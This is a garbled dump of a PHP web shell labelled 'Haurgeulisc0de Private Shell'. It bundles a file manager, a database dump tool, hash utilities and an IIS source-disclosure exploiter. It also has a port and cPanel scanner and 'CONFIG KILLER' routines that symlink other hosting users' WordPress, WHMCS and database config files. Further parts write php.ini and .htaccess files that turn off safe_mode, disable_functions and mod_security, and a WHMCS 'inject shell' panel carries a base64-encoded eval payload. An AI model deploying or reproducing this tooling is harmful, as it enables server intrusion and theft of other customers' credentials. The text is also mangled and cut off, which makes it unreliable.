Database Dump
Server
Username
Password
DataBase Name
DB Type

Password Hash
masukan kata yang ingin di encrypt:	'; echo ''; echo '
Hasil Hash
Original Password
MD5
MD4
MD5 with Salt
MD5 with Salt & Sha1
Sha1
Sha256
Sha1 with Salt
Sha1 with Salt & MD5

Hash Identification
Enter Hash	:
Result	:

name	size	owner:group	perms	modified	actions
$folder	LINK	" . $owner . "	" . get_perms($pwd) . "	" . date("d-M-Y H:i", @filemtime($pwd)) . "	newfile \| newfolder
$folder	LINK	" . $owner . "	" . get_perms($parent) . "	" . date("d-M-Y H:i", @filemtime($parent)) . "	newfile \| newfolder
[ $folder ]	DIR	" . $owner . "	" . get_perms($pwd . $folder) . "	" . date("d-M-Y H:i", @filemtime($folder)) . "	rename \| delete
$file	" . ukuran($full) . "	" . $owner . "	" . get_perms($full) . "	" . date("d-M-Y H:i", @filemtime($full)) . "	edit \| rename \| delete \| download (gzip)

name

size

owner:group

perms

modified

actions

$folder

LINK

" . $owner . "

" . get_perms($pwd) . "

" . date("d-M-Y H:i", @filemtime($pwd)) . "

newfile | newfolder

$folder

LINK

" . $owner . "

" . get_perms($parent) . "

" . date("d-M-Y H:i", @filemtime($parent)) . "

newfile | newfolder

[ $folder ]

DIR

" . $owner . "

" . get_perms($pwd . $folder) . "

" . date("d-M-Y H:i", @filemtime($folder)) . "

rename | delete

$file

" . ukuran($full) . "

" . $owner . "

" . get_perms($full) . "

" . date("d-M-Y H:i", @filemtime($full)) . "

edit | rename | delete | download (gzip)

Haurgeulisc0de

Private Shell

"; ?>

Note : Any one of the following options is compulsory to be filled rest can be left blank.

intitle
intext
inurl
site

'), 9)); // high Compression! :P $encode = ' '; } else { $encode = 'Please Enter your Code! and Click Submit! :)'; } ?>

Please Enter a Valid Website Address!"; } else { $log = @fopen("log.txt", "a"); fwrite($log, date("d/m/y H:i") . " Began on... "); fwrite($log, "Exploit Denen Site : " . $site . " "); $durum = Erisilme($site . "admin:\$i30:\$INDEX_ALLOCATION/admin.php"); if (!$durum) { $durum = @Erisilme($site . "admin:$i30:$INDEX_ALLOCATION/"); if (!$durum) { fwrite($log, "Tried But Failed exploit as it seems. OPTION Delivery Processes began perhaps the source code may be taken. :D "); } else { fwrite($log, "It looks like Exploit Tested successfully OPTION Delivery Processes began perhaps the source code may be taken. :D "); } } else { fwrite($log, "It looks like Exploit Tested successfully OPTION Göndereme began perhaps the source code can be taken Processes. :D "); } $dosya1 = KaynakKodu_Al($site, $dosya); if ($dosya1 != "") { $dosya2 = @fopen($dosya, "w"); fwrite($dosya2, $dosya1); fclose($dosya2); } else { fwrite($log, "Exploit Tried But Failed :("); } fclose($log); $msg = "Tried to exploit!
Log.txt results is presented in
Can Exploitle file in the same directory."; } } else { $msg = "Please fill in the required fields!."; } break; default: } ?> IIS httpd Exploiter

Site Link :
Adress :

Blank Do not cross your site !

"; $sonuclar = true; } else { $portlar = array("21", "22", "23", "25", "53", "80", "110", "115", "135", "139", "143", "194", "443", "445", "1433", "3306", "3389", "5632", "5900", "6112"); $_cpanel_port = array("1997", "1998", "1999", "2000", "2001", "2002", "2004", "2005", "2006", "2007", "2008", "2009", "2010", "2011", "2012", "2013", "2014", "2015", "2016", "2017", "2018", "2019", "2020", "2021", "2022", "2023", "2024", "2025", "2026", "2027", "2028", "2029", "2030", "2031", "2032", "2033", "2034", "2035", "2036", "2037", "2038", "2039", "2040", "2041", "2042", "2043", "2044", "2045", "2046", "2047", "2048", "2049", "2050", "2051", "2052", "2053", "2054", "2055", "2056", "2057", "2058", "2059", "2060", "2061", "2062", "2063", "2064", "2065", "2066", "2067", "2068", "2069", "2070", "2071", "2072", "2073", "2074", "2075", "2076", "2077", "2078", "2079", "2080", "2081", "2082", "2083", "2084", "2085", "2086", "2087", "2088", "2089", "2090", "2091", "2092", "2093", "2094", "2095", "2096", "2097", "8443"); for ($i = 0;$i < count($portlar);$i++) { $sonuc = Port_Servis_Adi($i) . " : " . (Port_Acik($site, $portlar[$i]) == true ? "Open" : "Off"); $msg.= "" . $site . " Deki " . $sonuc . " => " . $portlar[$i] . "
"; } $msg.= "Server IP address : " . gethostbyname($site) . "
"; for ($i = 0;$i < count($_cpanel_port);$i++) { $sonuc = "Cpanel-Portu : " . $_cpanel_port[$i] . (Port_Acik($site, $_cpanel_port[$i]) == true ? " Open" : " Off"); $msg.= "" . $site . " Deki " . $sonuc . " Eriþilme Durumu :" . (Erisilme("http://" . $site . ":" . $_cpanel_port[$i] . "/") == true ? "accessible !" : "inaccessible !") . "
"; } $msg.= "

in exceptional circumstances :

"; for ($i = 0;$i < count($portlar);$i++) { $sonuc = "" . Port_Servis_Adi($i) . " Eriþilme : " . (Erisilme("http://" . $site . ":" . $portlar[$i] . "/") == true ? "accessible !" : "inaccessible !"); $msg.= $site . " in exceptional circumstances : " . $sonuc . "
"; } $msg.= "Http, ftp, etc. due to unusual ports! "; $sonuclar = true; } break; default: } ?> II7 Port Exploit

Url Site :

Scan Results :

"; ?>

BLUEHOST '; ?>

[ BLUEHOST TOOLS ]

"; if (isset($_POST['su'])) { mkdir('bluehost', 0777); $rr = "AllowOverride All None DirectoryIndex index.html index.htm index.php index.php4 index.php5 AddType application/octet-stream .php AddHandler server-parsed .php Addhandler cgi-script .asp AddType ini .php AddHandler ini .php"; $g = fopen('bluehost/.htaccess', 'w'); fwrite($g, $rr); $dm = symlink("/", "bluehost/dm.ini"); $rt = "[ SYMLINK ]"; echo "[~] "; echo "$rt"; $dir = mkdir('BLUEHOST', 0777); $r = "Options all DirectoryIndex Sux.html AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html AddHandler txt .html Require None Satisfy Any"; $f = fopen('BLUEHOST/.htaccess', 'w'); fwrite($f, $r); $consym = "[ CONFIG KILLER ]"; echo " [~] "; echo "$consym"; echo " [~]"; $usr = explode(" ", $_POST['user']); $configuration = array("wp-config.ini", "wordpress/wp-config.ini", "configuration.ini", "blog/wp-config.ini", "joomla/configuration.ini", "vb/includes/config.ini", "includes/config.ini", "conf_global.ini", "inc/config.ini", "config.ini", "Settings.ini", "sites/default/settings.ini", "whm/configuration.ini", "whmcs/configuration.ini", "support/configuration.ini", "whmc/WHM/configuration.ini", "whm/WHMCS/configuration.ini", "whm/whmcs/configuration.ini", "support/configuration.ini", "clients/configuration.ini", "client/configuration.ini", "clientes/configuration.ini", "cliente/configuration.ini", "clientsupport/configuration.ini", "billing/configuration.ini", "admin/config.ini"); foreach ($usr as $uss) { $us = trim($uss); foreach ($configuration as $c) { $rs = "/home/" . $us . "/public_html/" . $c; $rs = "/home1/" . $us . "/public_html/" . $c; $rs = "/home2/" . $us . "/public_html/" . $c; $rs = "/home3/" . $us . "/public_html/" . $c; $rs = "/home4/" . $us . "/public_html/" . $c; $rs = "/home5/" . $us . "/public_html/" . $c; $rs = "/home6/" . $us . "/public_html/" . $c; $rs = "/home7/" . $us . "/public_html/" . $c; $rs = "/home8/" . $us . "/public_html/" . $c; $r = "BLUEHOST/" . $us . "~" . $c; symlink($rs, $r); } } } ?>

OVH '; ?>

[ OVH TOOLS ]

[ SYMLINK ]"; echo "[~] "; echo "$rt"; $dir = mkdir('OVH', 0777); $rr = "Safe_mode = OFF Disable_functions = NONE Open_basedir = OFF"; $f = fopen('OVH/php.ini', 'w'); fwrite($f, $rr); $rrr = "AllowOverride All None DirectoryIndex index.html index.htm index.php index.php4 index.php5 AddType application/octet-stream .php AddHandler server-parsed .php AddHandler cgi-script .asp AddType ini .php AddHandler ini .php"; $ff = fopen('OVH/.htaccess', 'w'); fwrite($ff, $rrr); $consym = " [ CONFIG KILLER ]"; echo " [~] "; echo "$consym"; echo " [~]"; $usr = explode(" ", $_POST['user']); $configuration = array("wp-config.ini", "wordpress/wp-config.ini", "configuration.ini", "blog/wp-config.ini", "joomla/configuration.ini", "vb/includes/config.ini", "includes/config.ini", "conf_global.ini", "inc/config.ini", "config.ini", "Settings.ini", "sites/default/settings.ini", "whm/configuration.ini", "whmcs/configuration.ini", "support/configuration.ini", "whmc/WHM/configuration.ini", "whm/WHMCS/configuration.ini", "whm/whmcs/configuration.ini", "support/configuration.ini", "clients/configuration.ini", "client/configuration.ini", "clientes/configuration.ini", "cliente/configuration.ini", "clientsupport/configuration.ini", "billing/configuration.ini", "admin/config.ini"); foreach ($usr as $uss) { $us = trim($uss); foreach ($configuration as $c) { $rs = "/homez.0/" . $us . "/www/" . $c; $rs = "/homez.1/" . $us . "/www/" . $c; $rs = "/homez.2/" . $us . "/www/" . $c; $rs = "/homez.3/" . $us . "/www/" . $c; $rs = "/homez.4/" . $us . "/www/" . $c; $rs = "/homez.5/" . $us . "/www/" . $c; $rs = "/homez.6/" . $us . "/www/" . $c; $rs = "/homez.7/" . $us . "/www/" . $c; $rs = "/homez.8/" . $us . "/www/" . $c; $rs = "/homez.9/" . $us . "/www/" . $c; $rs = "/homez.10/" . $us . "/www/" . $c; $rs = "/homez.11/" . $us . "/www/" . $c; $rs = "/homez.12/" . $us . "/www/" . $c; $rs = "/homez.13/" . $us . "/www/" . $c; $rs = "/homez.14/" . $us . "/www/" . $c; $rs = "/homez.15/" . $us . "/www/" . $c; $rs = "/homez.16/" . $us . "/www/" . $c; $rs = "/homez.17/" . $us . "/www/" . $c; $rs = "/homez.18/" . $us . "/www/" . $c; $rs = "/homez.19/" . $us . "/www/" . $c; $rs = "/homez.20/" . $us . "/www/" . $c; $rs = "/homez.21/" . $us . "/www/" . $c; $rs = "/homez.22/" . $us . "/www/" . $c; $rs = "/homez.23/" . $us . "/www/" . $c; $rs = "/homez.24/" . $us . "/www/" . $c; $rs = "/homez.25/" . $us . "/www/" . $c; $rs = "/homez.26/" . $us . "/www/" . $c; $rs = "/homez.27/" . $us . "/www/" . $c; $rs = "/homez.28/" . $us . "/www/" . $c; $rs = "/homez.29/" . $us . "/www/" . $c; $rs = "/homez.30/" . $us . "/www/" . $c; $rs = "/homez.31/" . $us . "/www/" . $c; $rs = "/homez.32/" . $us . "/www/" . $c; $rs = "/homez.33/" . $us . "/www/" . $c; $rs = "/homez.34/" . $us . "/www/" . $c; $rs = "/homez.35/" . $us . "/www/" . $c; $rs = "/homez.36/" . $us . "/www/" . $c; $rs = "/homez.37/" . $us . "/www/" . $c; $rs = "/homez.38/" . $us . "/www/" . $c; $rs = "/homez.39/" . $us . "/www/" . $c; $rs = "/homez.40/" . $us . "/www/" . $c; $rs = "/homez.41/" . $us . "/www/" . $c; $rs = "/homez.42/" . $us . "/www/" . $c; $rs = "/homez.43/" . $us . "/www/" . $c; $rs = "/homez.44/" . $us . "/www/" . $c; $rs = "/homez.45/" . $us . "/www/" . $c; $rs = "/homez.46/" . $us . "/www/" . $c; $rs = "/homez.47/" . $us . "/www/" . $c; $rs = "/homez.48/" . $us . "/www/" . $c; $rs = "/homez.49/" . $us . "/www/" . $c; $rs = "/homez.50/" . $us . "/www/" . $c; $rs = "/homez.51/" . $us . "/www/" . $c; $rs = "/homez.52/" . $us . "/www/" . $c; $rs = "/homez.53/" . $us . "/www/" . $c; $rs = "/homez.54/" . $us . "/www/" . $c; $rs = "/homez.55/" . $us . "/www/" . $c; $rs = "/homez.56/" . $us . "/www/" . $c; $rs = "/homez.57/" . $us . "/www/" . $c; $rs = "/homez.58/" . $us . "/www/" . $c; $rs = "/homez.59/" . $us . "/www/" . $c; $rs = "/homez.60/" . $us . "/www/" . $c; $rs = "/homez.61/" . $us . "/www/" . $c; $rs = "/homez.62/" . $us . "/www/" . $c; $rs = "/homez.63/" . $us . "/www/" . $c; $rs = "/homez.64/" . $us . "/www/" . $c; $rs = "/homez.65/" . $us . "/www/" . $c; $rs = "/homez.66/" . $us . "/www/" . $c; $rs = "/homez.67/" . $us . "/www/" . $c; $rs = "/homez.68/" . $us . "/www/" . $c; $rs = "/homez.69/" . $us . "/www/" . $c; $rs = "/homez.70/" . $us . "/www/" . $c; $rs = "/homez.71/" . $us . "/www/" . $c; $rs = "/homez.72/" . $us . "/www/" . $c; $rs = "/homez.73/" . $us . "/www/" . $c; $rs = "/homez.74/" . $us . "/www/" . $c; $rs = "/homez.75/" . $us . "/www/" . $c; $rs = "/homez.76/" . $us . "/www/" . $c; $rs = "/homez.77/" . $us . "/www/" . $c; $rs = "/homez.78/" . $us . "/www/" . $c; $rs = "/homez.79/" . $us . "/www/" . $c; $rs = "/homez.80/" . $us . "/www/" . $c; $rs = "/homez.81/" . $us . "/www/" . $c; $rs = "/homez.82/" . $us . "/www/" . $c; $rs = "/homez.83/" . $us . "/www/" . $c; $rs = "/homez.84/" . $us . "/www/" . $c; $rs = "/homez.85/" . $us . "/www/" . $c; $rs = "/homez.86/" . $us . "/www/" . $c; $rs = "/homez.87/" . $us . "/www/" . $c; $rs = "/homez.88/" . $us . "/www/" . $c; $rs = "/homez.89/" . $us . "/www/" . $c; $rs = "/homez.100/" . $us . "/www/" . $c; $rs = "/homez.101/" . $us . "/www/" . $c; $rs = "/homez.102/" . $us . "/www/" . $c; $rs = "/homez.103/" . $us . "/www/" . $c; $rs = "/homez.104/" . $us . "/www/" . $c; $rs = "/homez.105/" . $us . "/www/" . $c; $rs = "/homez.106/" . $us . "/www/" . $c; $rs = "/homez.107/" . $us . "/www/" . $c; $rs = "/homez.108/" . $us . "/www/" . $c; $rs = "/homez.109/" . $us . "/www/" . $c; $rs = "/homez.110/" . $us . "/www/" . $c; $rs = "/homez.111/" . $us . "/www/" . $c; $rs = "/homez.112/" . $us . "/www/" . $c; $rs = "/homez.113/" . $us . "/www/" . $c; $rs = "/homez.114/" . $us . "/www/" . $c; $rs = "/homez.115/" . $us . "/www/" . $c; $rs = "/homez.116/" . $us . "/www/" . $c; $rs = "/homez.117/" . $us . "/www/" . $c; $rs = "/homez.118/" . $us . "/www/" . $c; $rs = "/homez.119/" . $us . "/www/" . $c; $rs = "/homez.120/" . $us . "/www/" . $c; $rs = "/homez.121/" . $us . "/www/" . $c; $rs = "/homez.122/" . $us . "/www/" . $c; $rs = "/homez.123/" . $us . "/www/" . $c; $rs = "/homez.124/" . $us . "/www/" . $c; $rs = "/homez.125/" . $us . "/www/" . $c; $rs = "/homez.126/" . $us . "/www/" . $c; $rs = "/homez.127/" . $us . "/www/" . $c; $rs = "/homez.128/" . $us . "/www/" . $c; $rs = "/homez.129/" . $us . "/www/" . $c; $rs = "/homez.130/" . $us . "/www/" . $c; $r = "OVH/" . $us . "~" . $c; symlink($rs, $r); } } } ?>

LITESPEED - APACHE '; ?>

[ LITESPEED - NGINX TOOLS ]

[ SYMLINK ]"; echo "[~] "; echo "$rt"; $dir = mkdir('LITESPEED', 0777); $r = "Options +FollowSymlinks Options +IncludesNoExec -ExecCGI DirectoryIndex index.html index.shtml index.htm index.php RemoveHandler .php AddType text/html .shtml AddType application/octet-stream .php AddHandler server-parsed .shtml"; $f = fopen('LITESPEED/.htaccess', 'w'); fwrite($f, $r); $consym = "[ CONFIG KILLER ] "; echo " [~] "; echo "$consym"; echo " [~]"; $usr = explode(" ", $_POST['user']); $configuration = array("aksi.php", "aksi.php.old", "aksi.php.bak", "conf.php", "conf.php.old", "conf.php.bak", "conf_global.php", "conf_global.php.old", "conf_global.php.bak", "config.php", "config.php.old", "config.php.bak", "configuration.php", "configuration.php.old", "configuration.php.bak", "conn.php", "conn.php.old", "conn.php.bak", "connect.php", "connect.php.old", "connect.php.bak", "connection.php", "connection.php.old", "connection.php.bak", "db.php", "db.php.old", "db.php.bak", "database.php", "database.php.old", "database.php.bak", "inc.php", "inc.php.old", "inc.php.bak", "koneksi.php", "koneksi.php.old", "koneksi.php.bak", "mysql.php", "myqsl.php.old", "mysql.php.bak", "setting.php", "setting.php.old", "setting.php.bak", "Settings.php", "Settings.php.old", "Settings.php.bak", "sql.php", "sql.php.old", "sql.php.bak"); foreach ($usr as $uss) { $us = trim($uss); foreach ($configuration as $c) { $rs = "/home/" . $us . "/public_html/" . $c; $r = "LITESPEED/" . $us . "~" . $c; symlink($rs, $r); } } } ?>

HOSTGATOR '; ?>

[ HOSTGATOR TOOLS ]

[ SYMLINK ]"; echo "[~] "; echo "$rt"; $dir = mkdir('HOSTGATOR', 0777); $rr = "Safe_mode = OFF Disable_functions = NONE Open_basedir = OFF"; $f = fopen('HOSTGATOR/php.ini', 'w'); fwrite($f, $rr); $rrr = "Options +FollowSymLinks DirectoryIndex Sux.html Options +Indexes AddType text/plain .php AddHandler server-parsed .php AddType text/plain.html "; $ff = fopen('HOSTGATOR/.htaccess', 'w'); fwrite($ff, $rrr); $consym = " [ CONFIG KILLER ]"; echo " [~] "; echo "$consym"; echo " [~]"; $usr = explode(" ", $_POST['user']); $configuration = array("wp-config.ini", "wordpress/wp-config.ini", "configuration.ini", "blog/wp-config.ini", "joomla/configuration.ini", "vb/includes/config.ini", "includes/config.ini", "conf_global.ini", "inc/config.ini", "config.ini", "Settings.ini", "sites/default/settings.ini", "whm/configuration.ini", "whmcs/configuration.ini", "support/configuration.ini", "whmc/WHM/configuration.ini", "whm/WHMCS/configuration.ini", "whm/whmcs/configuration.ini", "support/configuration.ini", "clients/configuration.ini", "client/configuration.ini", "clientes/configuration.ini", "cliente/configuration.ini", "clientsupport/configuration.ini", "billing/configuration.ini", "admin/config.ini"); foreach ($usr as $uss) { $us = trim($uss); foreach ($configuration as $c) { $rs = "/home/" . $us . "/public_html/" . $c; $r = "HOSTGATOR/" . $us . "~" . $c; symlink($rs, $r); } } } ?>

APACHE '; ?>

[ APACHE TOOLS ]

[ SYMLINK ]"; echo "[~] "; echo "$rt"; $dir = mkdir('DM', 0777); $r = "Options all DirectoryIndex Sux.html AddType text/plain .php AddType text/plain .html AddType text/plain .bak AddType text/plain .old AddHandler server-parsed .php AddHandler txt .html Require None Satisfy Any"; $f = fopen('DM/.htaccess', 'w'); fwrite($f, $r); $consym = "[ CONFIG KILLER ] "; echo " [~] "; echo "$consym"; echo " [~]"; $usr = explode(" ", $_POST['user']); $configuration = array("aksi.php", "aksi.php.old", "aksi.php.bak", "conf.php", "conf.php.old", "conf.php.bak", "conf_global.php", "conf_global.php.old", "conf_global.php.bak", "config.php", "config.php.old", "config.php.bak", "configuration.php", "configuration.php.old", "configuration.php.bak", "conn.php", "conn.php.old", "conn.php.bak", "connect.php", "connect.php.old", "connect.php.bak", "connection.php", "connection.php.old", "connection.php.bak", "db.php", "db.php.old", "db.php.bak", "database.php", "database.php.old", "database.php.bak", "inc.php", "inc.php.old", "inc.php.bak", "koneksi.php", "koneksi.php.old", "koneksi.php.bak", "mysql.php", "myqsl.php.old", "mysql.php.bak", "setting.php", "setting.php.old", "setting.php.bak", "Settings.php", "Settings.php.old", "Settings.php.bak", "sql.php", "sql.php.old", "sql.php.bak"); foreach ($usr as $uss) { $us = trim($uss); foreach ($configuration as $c) { $rs = "/home/" . $us . "/public_html/" . $c; $r = "DM/" . $us . "~" . $c; symlink($rs, $r); } } } ?> "; } elseif (isset($_GET['x']) && ($_GET['x'] == 'sec')) { ?>

[+] GENERATED php.ini [+]
PATH :

[+] GENERATED Htaccess [+}
"; $dirphpini = $_POST['phpinisafemode']; $dirhtaccess = $_POST['htaccesssafemode']; $phpininamelol = "php.ini"; if ($_POST['omssubmit']) { $fse = fopen("$dirphpini.htaccess", "w"); fwrite($fse, ' Sec------Engine Off Sec------ScanPOST Off '); fclose($fse); } else if ($_POST['dsmsubmit']) { $fse = fopen("$dirhtaccess$phpininamelol", "w"); fwrite($fse, 'safe_mode = OFF disable_functions = NONE safe_mode_gid = OFF open_basedir = OFF register_globals = ON exec = ON shell_exec = ON'); fclose($fse); } } elseif (isset($_GET['x']) && ($_GET['x'] == 'whmtools')) { ?>

Whmcs Tools"; echo "

--=[~] Haurgeulisc0de [~]=--

WHMCS Inject Shell | Auto Bypass Security Token | Login Changer Tools

WHMCS DB HOST

WHMCS DB NAME

WHMCS DB USERNAME

WHMCS DB PASSWORD

TARGET ID ADMIN MAHO

NEW ADMIN LOGIN USER

NEW ADMIN LOGIN PASS

SHELL TYPE {PHP}
{php}eval(base64_decode('JGMwZGUgID0gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhVRHM4Y0NCaGJHbG5iajBpWTJWdWRHVnlJajROQ2cwS1BEOXdhSEFOQ21WeWNtOXlYM0psY0c5eWRHbHVaeWd3S1RzTkNpUnpZM0pwY0hSdVlXMWxJRDBnSkY5VFJWSldSVkpiSjFORFVrbFFWRjlPUVUxRkoxMDdEUW9rWm1sc1pXNWhiV1VnUFNBa1gxQlBVMVJiSW1acGJHVnVZVzFsSWwwN0RRcHBaaWdrWDFCUFUxUmJJbk4xWW0xcGRDSmRJRDA5SUNKUGNHVnVJaWtOQ25zTkNtbG1LR1pwYkdWZlpYaHBjM1J6S0NSbWFXeGxibUZ0WlNrcERRcDdEUW9rWm1sc1pXTnZiblJsYm5SeklEMGdhSFJ0YkdWdWRHbDBhV1Z6S0dacGJHVmZaMlYwWDJOdmJuUmxiblJ6S0NSbWFXeGxibUZ0WlNrcE93MEthV1lvSVNSbWFXeGxZMjl1ZEdWdWRITXBEUW9rYzNSaGRIVnpJRDBnSWp4bWIyNTBJR1poWTJVOUoxWmxjbVJoYm1FbklITjBlV3hsUFNkbWIyNTBMWE5wZW1VNklEaHdkQ2MrUlhKeWIzSWdUbTkwYUdsdVp5QkdhV3hsUEM5bWIyNTBQaUk3RFFwOURRcGxiSE5sRFFva2MzUmhkSFZ6SUQwZ0lqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1JtbHNaU0JrYjJWeklHNXZkQ0JsZUdsemRDRThMMlp2Ym5RK0lqc05DbjBKQ1EwS1pXeHpaU0JwWmlna1gxQlBVMVJiSW5OMVltMXBkQ0pkSUQwOUlDSkVaV3hsZEdVaUtRMEtldzBLYVdZb1ptbHNaVjlsZUdsemRITW9KR1pwYkdWdVlXMWxLU2tOQ25zTkNtbG1LSFZ1YkdsdWF5Z2tabWxzWlc1aGJXVXBLUWtOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1R2FXeGxJSE4xWTJObGMzTm1kV3hzZVNCa1pXeGxkR1ZrSVR3dlptOXVkRDRpT3cwS1pXeHpaUTBLSkhOMFlYUjFjeUE5SUNJOFptOXVkQ0JtWVdObFBTZFdaWEprWVc1aEp5QnpkSGxzWlQwblptOXVkQzF6YVhwbE9pQTRjSFFuUGtOdmRXeGtJRzV2ZENCa1pXeGxkR1VnWm1sc1pTRThMMlp2Ym5RK0lqc05DbjBOQ21Wc2MyVU5DaVJ6ZEdGMGRYTWdQU0FpUEdadmJuUWdabUZqWlQwblZtVnlaR0Z1WVNjZ2MzUjViR1U5SjJadmJuUXRjMmw2WlRvZ09IQjBKejVHYVd4bElHUnZaWE1nYm05MElHVjRhWE4wSVR3dlptOXVkRDRpT3cwS2ZRMEtaV3h6WlNCcFppZ2tYMUJQVTFSYkluTjFZbTFwZENKZElEMDlJQ0pUWVhabElpa05DbnNOQ2lSbWFXeGxZMjl1ZEdWdWRITWdQU0J6ZEhKcGNITnNZWE5vWlhNb2FIUnRiRjlsYm5ScGRIbGZaR1ZqYjJSbEtDUmZVRTlUVkZzaVkyOXVkR1Z1ZEhNaVhTa3BPdzBLYVdZb1ptbHNaVjlsZUdsemRITW9KR1pwYkdWdVlXMWxLU2tOQ25WdWJHbHVheWdrWm1sc1pXNWhiV1VwT3cwS0pHaGhibVJzWlNBOUlHWnZjR1Z1S0NSbWFXeGxibUZ0WlN3Z0luY2lLVHNOQ21sbUtDRWthR0Z1Wkd4bEtRMEtKSE4wWVhSMWN5QTlJQ0k4Wm05dWRDQm1ZV05sUFNkV1pYSmtZVzVoSnlCemRIbHNaVDBuWm05dWRDMXphWHBsT2lBNGNIUW5Qa052ZFd4a0lHNXZkQ0J2Y0dWdUlHWnBiR1VnWm05eUlIZHlhWFJsSUdGalkyVnpjeUVnUEM5bWIyNTBQaUk3RFFwbGJITmxEUXA3RFFwcFppZ2habmR5YVhSbEtDUm9ZVzVrYkdVc0lDUm1hV3hsWTI5dWRHVnVkSE1wS1EwS0pITjBZWFIxY3lBOUlDUnpkR0YwZFhNdUlqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1EyOTFiR1FnYm05MElIZHlhWFJsSUhSdklHWnBiR1VoSUNoTllYbGlaU0I1YjNVZ1pHbGtiaWQwSUdWdWRHVnlJR0Z1ZVNCMFpYaDBQeWs4TDJadmJuUStJanNOQ21aamJHOXpaU2drYUdGdVpHeGxLVHNOQ24wTkNpUm1hV3hsWTI5dWRHVnVkSE1nUFNCb2RHMXNaVzUwYVhScFpYTW9KR1pwYkdWamIyNTBaVzUwY3lrN0RRcDlEUXBsYkhObERRcDdEUW9rYzNSaGRIVnpJRDBnSWp4bWIyNTBJR1poWTJVOUoxWmxjbVJoYm1FbklITjBlV3hsUFNkbWIyNTBMWE5wZW1VNklEaHdkQ2MrVG04Z1ptbHNaU0JzYjJGa1pXUWhQQzltYjI1MFBpSTdEUXA5RFFvL1BnMEtQSFJoWW14bElHSnZjbVJsY2owaU1DSWdZV3hwWjI0OUltTmxiblJsY2lJK1BIUnlQangwWkQ0OGRHRmliR1VnZDJsa2RHZzlJakV3TUNVaUlHSnZjbVJsY2owaU1DSStQSFJ5UGp4MFpENE5DanhtYjNKdElHMWxkR2h2WkQwaWNHOXpkQ0lnWVdOMGFXOXVQU0k4UDBWamFHOGdKSE5qY21sd2RHNWhiV1U3UHo0aVBnMEtQR2x1Y0hWMElITjBlV3hsUFNKamIyeHZjanBzYVcxbE8ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNREF3TUNJZ2JtRnRaVDBpWm1sc1pXNWhiV1VpSUhSNWNHVTlJblJsZUhRaUlIWmhiSFZsUFNJOFAwVmphRzhnSkdacGJHVnVZVzFsT3o4K0lpQnphWHBsUFNJM01pSStEUW84YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCemRIbHNaVDBpWTI5c2IzSTZiR2x0WlR0aVlXTnJaM0p2ZFc1a0xXTnZiRzl5T2lNd01EQXdNREFpSUc1aGJXVTlJbk4xWW0xcGRDSWdkbUZzZFdVOUlrOXdaVzRpUGcwS1BHbHVjSFYwSUhSNWNHVTlJbk4xWW0xcGRDSWdjM1I1YkdVOUltTnZiRzl5T214cGJXVTdZbUZqYTJkeWIzVnVaQzFqYjJ4dmNqb2pNREF3TURBd0lpQnVZVzFsUFNKemRXSnRhWFFpSUhaaGJIVmxQU0pFWld4bGRHVWlQand2ZEdRK1BDOTBjajQ4TDNSaFlteGxQZzBLUEdadmJuUWdabUZqWlQwaVZtVnlaR0Z1WVNJZ2MzUjViR1U5SW1admJuUXRjMmw2WlRvZ01URndkQ0krRFFvOGRHVjRkR0Z5WldFZ2JtRnRaVDBpWTI5dWRHVnVkSE1pSUhOMGVXeGxQU0pqYjJ4dmNqcHNhVzFsTzJKaFkydG5jbTkxYm1RdFkyOXNiM0k2SXpBd01EQXdNQ0lnWTI5c2N6MGlOekFpSUhKdmQzTTlJakkxSWo0TkNqdy9SV05vYnlBa1ptbHNaV052Ym5SbGJuUnpPejgrUEM5MFpYaDBZWEpsWVQ0OEwyWnZiblErUEdKeVBnMEtQR2x1Y0hWMElIUjVjR1U5SW5OMVltMXBkQ0lnYzNSNWJHVTlJbU52Ykc5eU9teHBiV1U3WW1GamEyZHliM1Z1WkMxamIyeHZjam9qTURBd01EQXdJaUJ1WVcxbFBTSnpkV0p0YVhRaUlIWmhiSFZsUFNKVFlYWmxJajROQ2p4cGJuQjFkQ0IwZVhCbFBTSnlaWE5sZENJZ2MzUjViR1U5SW1OdmJHOXlPbXhwYldVN1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvak1EQXdNREF3SWlCMllXeDFaVDBpVW1WelpYUWlQZzBLUEM5bWIzSnRQZzBLUEhBK0RRbzhhRE0rWDFWUVRFOUJSQ0JHU1V4Rlh6eG9NejROQ2cwS1BEOXdhSEFOQ2cwS1pXTm9ieUFuUEdadmNtMGdZV04wYVc5dVBTSWlJRzFsZEdodlpEMGljRzl6ZENJZ1pXNWpkSGx3WlQwaWJYVnNkR2x3WVhKMEwyWnZjbTB0WkdGMFlTSWdibUZ0WlQwaWRYQnNiMkZrWlhJaUlHbGtQU0oxY0d4dllXUmxjaUkrSnpzTkNnMEtaV05vYnlBblVFRlVTQ0JVUVZKSFJWUWdPaUE4YVc1d2RYUWdibUZ0WlQwaWRYQnNiMkZrZEc4aUlITjBlV3hsUFNKamIyeHZjanBzYVcxbE8ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNREF3TUNJZ2RIbHdaVDBpZEdWNGRDSWdjMmw2WlQwaU5UQWlJSFpoYkhWbFBTSW5MbWRsZEdOM1pDZ3BMaWNpUGp4aWNpQXZQaWM3RFFwbFkyaHZJQ2M4YVc1d2RYUWdkSGx3WlQwaVptbHNaU0lnYzNSNWJHVTlJbU52Ykc5eU9teHBiV1U3WW1GamEyZHliM1Z1WkMxamIyeHZjam9qTURBd01EQXdJaUJ1WVcxbFBTSm1hV3hsSWlCemFYcGxQU0l6TUNJK1BHbHVjSFYwSUc1aGJXVTlJbDkxY0d3aUlITjBlV3hsUFNKamIyeHZjanBzYVcxbE8ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNREF3TUNJZ2RIbHdaVDBpYzNWaWJXbDBJaUJwWkQwaVgzVndiQ0lnZG1Gc2RXVTlJbFZ3Ykc5aFpDSStQQzltYjNKdFBpYzdEUXB